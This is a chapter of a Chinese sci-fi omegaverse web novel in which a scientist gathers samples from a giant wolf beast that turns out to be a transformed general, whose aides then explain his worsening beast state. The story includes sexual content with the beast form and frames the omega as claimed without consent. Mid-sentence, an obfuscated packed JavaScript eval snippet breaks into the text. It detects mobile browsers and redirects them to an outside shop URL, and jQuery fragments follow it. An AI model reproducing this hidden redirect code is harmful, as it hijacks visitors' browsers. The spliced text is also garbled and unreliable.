“严朝海。”


    试探着把离心管凑近，裴清初看着挂起的衣服，神色凝重：“现在需要你配合一下。”


    黑金巨狼打了个喷嚏，原本正在摇尾巴，忽然疑惑地歪了歪头。


    裴清初又唤了它几声，巨狼不情愿地听话，却又隐隐烦躁不满，喉咙里发出呜呜声。


    “杜卜丸他们需要收集足够多的样本才能判断你现在的状态……”


    裴清初解释，语气充满鼓励：“严朝海，你能做到的吧？”


    严朝海严朝海严朝海，烦死了！巨狼仰头嚎叫一声，愤懑地用鼻子去拱眼前的人。


    它打定主意，不再顺从，执拗地站在原地，裴清初哄了半天，不管用，自己倒是被弄了一身口水。


    衣服也被扯开了，巨狼幽幽地看着他，很有下一秒就要暴起扑人的架势。眼前的衣服越挂越高，洇湿部分格外显眼。


    有些浪费，裴清初想着，眼前这巨狼，似乎跟他心中的严朝海不同。


    严朝海身上带着克制试探，工作能力强、有责任感。虽然有时候难以捉摸，总体还是很好相处，完全符合好朋友的社交模板。


    但这头巨狼……裴清初看着那烛火般的眸光。


    这不是“好朋友”应该有的眼神。


    似乎要证实他的想法，巨狼步步逼近，低头，鼻尖将他抵在铁栅栏上，毫不生疏地用舌尖蹭过他的脸颊、脖颈，并没掩饰自己的侵略性和占有欲。


    这动作很熟悉，鬼使神差地，裴清初抬手，挡住继续往下探的狼头：“……阎越砾？”


    巨狼□□的动作没有停，尾巴却摇动起来。


    裴清初啼笑皆非，觉得自己太异想天开。人变成星际异兽本就荒谬，更不用说，变成异兽的还是阎越砾——阎家不可能坐视不管。


    然而黑金巨狼的一举一动确实熟稔，裴清初晃了晃神，低声唤：“严朝海。”


    巨狼垂下尾巴，站在原地，兽瞳不满地瞪着他。


    “阎越砾。”


    粗壮大尾巴甩起来，巨狼蹭蹭他，脸上神情显然是“怎么认不出我不会是傻了吧算了这次放过你”。


    “……阎越砾。”


    巨狼回应似的低声道：“嗷呜。”


    它认定这是它的名字。


    心中莫名一轻，裴清初有些走神，下一刻便被拱倒。


    如果真的是阎越砾……


    他是否认出了自己？他为什么要伪装身份来D星？


    还有，这里严密的看守、齐鸢等人语气里隐隐透出的担忧……阎越砾为什么会变成星际异兽？他是否还能再变回人型？


    “阎、阎越砾……别——”


    衣服突兀地盖在身上，裴清初才发现这眼熟的衣物是第一军校的训练服。他当年还弄丢过几件，幸好后勤不介意。


    但是阎越砾为什么要把训练服放在这里，怀念青春？


    但看尺码，也不像是阎越砾的。


    裴清初正要把衣服丢开，忽然看到衣领内侧工整地写着一个“裴”。


    “……”


    这是他弄丢的衣服！！！


    裴清初浑身一震，然而更让他震惊的已经逼近。他就地翻滚、拔腿就跑，几乎用上了机甲单兵的技巧，然而没两步，就被巨狼堵在了门前。


    “嗷呜！”


    阎越砾踱步靠近，像是在跟他玩什么好玩的游戏。Alpha在他面前的意图向来简单、直接、好猜，裴清初浑身紧绷，过去的经验不由自主地在脑海中回放。


    不行，他S级的时候勉强能承受，但如今的身体素质，对面还是如此巨大的兽型。


    像是发现了他的抗拒，黑金巨狼可怜巴巴地后退，用爪子把衣服床单重新聚拢成堆，兽眸定定地望着他，然后——


    就算无所谓世俗道德，裴清初还是被眼前这一幕震惊。他情绪感知异于常人，但智力正常。对方淡金色的眼眸直勾勾地看着他，身体不住地对那堆衣服戳弄，甚至嗅闻。


    裴清初后背抵在栏杆上，喉结微动。


    ……


    齐鸢等人接到通讯的时候，正在别墅一楼的会议室开会。


    Qmega略微疲惫的声音从通讯中传出，回荡在房间内：“样本我收集好了，应该足够。”


    杜卜丸两眼放光，正要欢呼，又听见裴清初顿了顿，道：“这个房间内有没有浴室？”


    “有的，就在左侧墙壁上，有开关，体积足以容纳异兽清洗。”


    齐鸢迅速回答。首席副官的敏锐嗅觉让她心中掠过一丝不妙，她下意识起立，严肃道，“我们马上为您开通权限，稍后AI管家会递送配套衣物……和药品，研究所那边需要我们帮您请假吗？”


    “不、不用。”


    Omega向来冷静清晰的声音少见的有些颤抖，“我只是、唔、别、……我没有别的问题了。”


    齐鸢耳朵听着通讯那端的声响，笔挺地站在原位上，腰板直得能升旗，内心却已经天崩地裂。


    她用眼神示意沉海调出房间内信息素浓度，脑海中飞速思考着应急预案。通讯那端的声音加快了一阵，又停下，裴清初似乎有些勉强，声音离话筒极近：“那个浴室、有没有办法嗯、……让它进不去？”


    “您可以在室内关闭房门，我们采用的材料足以抵御机甲撞击——”


    通讯猝然挂断，齐鸢跟在场的其他人面面相觑。艳归咂嘴：“少将这是霸王硬上弓了？”


    “不能吧，”杜卜丸拖出巨狼的身体参数，摸着下巴，“客观来说，人类应该是不行。”


    “房间内信息素水平超出正常值12%，”沉海盘算着，“少将还是有控制自己，不过最好还是干预下。”


    “我们这算不算助纣为虐啊？”


    艳归反思状，“让omega保护协会知道了，肯定要把我们都举报一遍。”


    “怕什么，我们又不止干了这些。”易重山无所谓道，“上次救的那批omega，不是协会‘介绍’出去的？真撕破脸，他们的黑料比我们多多了。”


    等裴清初再次出现在众人视线里，已是傍晚。齐鸢往房间送了三次衣服，好在，omega出门的时候全须全尾，只是走路有些蹒跚。


    易重山殷勤地把人领到会议室，又差后勤送来补充体力的食物。


    平时干饭最积极的杜卜丸却没吃饭，他早就穿好了防护服，顶着铺天盖地的信息素冲进房间，抱着保温箱不松手，激动地简直要给裴清初磕头。


    “他什么时候能恢复人型？”


    味同嚼蜡地咽下一块面包，神经稍稍松懈，裴清初问道。


    会议桌被打扫过，餐车上摆放着静庭大厨的食盒，他却没什么胃口。嗓子疼、身上的关节、皮肤一碰到布料，就能感觉到细微不适，头发、颈间似乎还残


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911053|190819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    留着那种黏腻感。


    裴清初自认已经反复清洗干净，殊不知自己身上全是alpha的气息。不是临时标记后的“宣告”，而是里里外外、层层叠叠的包裹，仿佛在叫嚣着——


    即使omega毫无所觉、不曾同意，他也是被alpha圈占，不容外人置喙的“领地”。


    众副官纷纷假装鼻炎闻不到。平心而论，阎越砾是个罕见的好领导，出手大方、尊重下属、从不指手画脚，日常只负责拉资源、定方向和给团队背锅——好工作比好配偶难找，副官团队日常祈祷他能长命百岁、把事业做大做强。


    阎越砾唯一的几次例外，都跟眼前的omega有关。


    老大小半辈子就这一个愿望，他们这些忠心耿耿的下属自然要帮忙满足。


    “这，我们不能确定。”


    齐鸢面露难色：“按照之前的情况，阎哥变回人型可能要等几周，也可能……”


    永远维持在兽型，直到所有神智丧失，沦为狂躁的野兽。


    裴清初看她的表情，明白了她话里的未竟之意：“我可以看看检测报告吗？”


    副官们对视一眼，交换意见，点了点头：“可以。”


    裴清初翻看着材料，寂静里，只有纸页翻动的声响，他看着记录，若有所思道：“少将第一次兽化是什么时候？”


    “五年前，”杜卜丸马上回答，条理清晰，“他驾驶机甲脱离队伍后失踪，阎家接到匿名信息，斥巨资开辟虫洞，才发现少将完成了兽化，在这之前，联邦已经几十年没有兽化案例。”


    他话音刚落，惊悚地发现所有人的目光都看向他，不自信地开始掰自己的手指，数年份，“？怎么了，我没说错啊？”


    “五年。”


    裴清初合上手里的资料，眸光如同冻层深雪，“阎越砾这五年，是这样过来的吗？”


    杜卜丸捂住嘴，终于意识到这羸弱不堪、被alpha信息素裹挟，看上去毫无攻击性、以至于像幅美人画卷的omega，居然偷偷套话。


    “是的，不过早期兽化时，少将还能够保持神智，是后期频繁动用兽型参战，他的意识才开始混乱。”


    齐鸢接受能力良好，半秒钟就接受了老大掉马的事实，正襟危坐，恭敬汇报道。


    “检测指标关联性强，还有参考值——”


    裴清初眸光微动，“这样的兽化，在联邦不是个例，对不对？”


    他面容平静，内心却已经惊涛骇浪。


    这样详尽的检测指标，绝不是一朝一夕之功，必然需要大量数据支撑。而军校介绍“星际异兽”时，曾明确说明，这是“灾害”。


    他至今还记得当时讲解的几个案例，不少星际异兽都是突然出现，撞上联邦军队，造成死伤无数。


    没有族群、无预兆出没、造成舰队大量伤亡——他当年还奇怪，为什么星际异兽的种类如此不一：老虎、熊在荒僻星球上突然露面就算了，狮子、大象等群居动物居然也都是单独现身。


    现在看来，恐怕那些可怖的异兽……都曾是人类。


    “S75+以上的人，有概率‘进化’出兽型。”杜卜丸解释道，“兽化后，人的神经系统跟不上体型扩张，记忆会出现问题，频繁兽化会让损伤积累，常见症状就是失忆、情绪大变、被兽性占据。”


    “如今，少将就处于彻底被兽性占据的临界点。”